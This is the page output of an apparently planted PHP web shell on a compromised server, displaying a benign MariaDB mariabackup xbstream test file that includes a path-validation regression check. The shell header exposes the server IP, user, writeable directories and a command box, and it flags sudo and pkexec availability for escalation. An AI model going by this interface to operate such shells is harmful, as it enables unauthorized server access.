403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/mysql/mysql-test/suite/mariabackup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/mysql/mysql-test/suite/mariabackup/xbstream.test
--source include/innodb_page_size.inc

CREATE TABLE t(i INT) ENGINE INNODB;
INSERT INTO t VALUES(1);

let $targetdir=$MYSQLTEST_VARDIR/tmp/backup;
let $incr_dir=$MYSQLTEST_VARDIR/tmp/backup_incr;
mkdir $targetdir;
mkdir $incr_dir;

let $streamfile=$MYSQLTEST_VARDIR/tmp/backup.xb;
let $stream_incr_file=$MYSQLTEST_VARDIR/tmp/backup_incr.xb;

echo # xtrabackup full backup to stream;
exec $XTRABACKUP --defaults-file=$MYSQLTEST_VARDIR/my.cnf  --backup --parallel=10  --databases-exclude=foobar --history=fullback --stream=xbstream > $streamfile 2>$targetdir/backup_stream.log;

INSERT INTO t VALUES(2), (3), (4);

echo # xtrabackup incremental backup to stream;
exec $XTRABACKUP --defaults-file=$MYSQLTEST_VARDIR/my.cnf --backup  --incremental-history-name=fullback --history=incr_1  --stream=xbstream > $stream_incr_file 2>$targetdir/backup_incr.log;

echo # checking recording of history;
--replace_result mariabackup.exe mariabackup
--vertical_results
SELECT tool_name, name, partial, incremental, format, compressed
FROM mysql.mariadb_backup_history
ORDER BY innodb_from_lsn;

--horizontal_results

echo # xbstream extract;
--disable_result_log
exec $XBSTREAM -x -C $targetdir  < $streamfile;

echo # xtrabackup prepare;
exec $XTRABACKUP --prepare --target-dir=$targetdir;

echo # xbstream extract for incremental backup;
exec $XBSTREAM -x -C $incr_dir  < $stream_incr_file;

echo # xtrabackup incremental prepare;
exec $XTRABACKUP --prepare --target-dir=$targetdir --incremental-dir=$incr_dir;

-- source include/restart_and_restore.inc
--enable_result_log
SELECT * FROM t;
DROP TABLE t;
DROP TABLE mysql.mariadb_backup_history;
rmdir $targetdir;
remove_file $streamfile;
remove_file $stream_incr_file;

--echo #
--echo # MDEV-39408 mbstream insufficient path validation
--echo #
--replace_regex /\d\d\d\d-\d\d-\d\d \d\d:\d\d:\d\d .*:/mbstream:/
exec $XBSTREAM -x -C $MYSQL_TMP_DIR < $MYSQL_TEST_DIR/std_data/mdev-39408.mb 2>&1;

--echo # End of 10.6 tests

Youez - 2016 - github.com/yon3zu
LinuXploit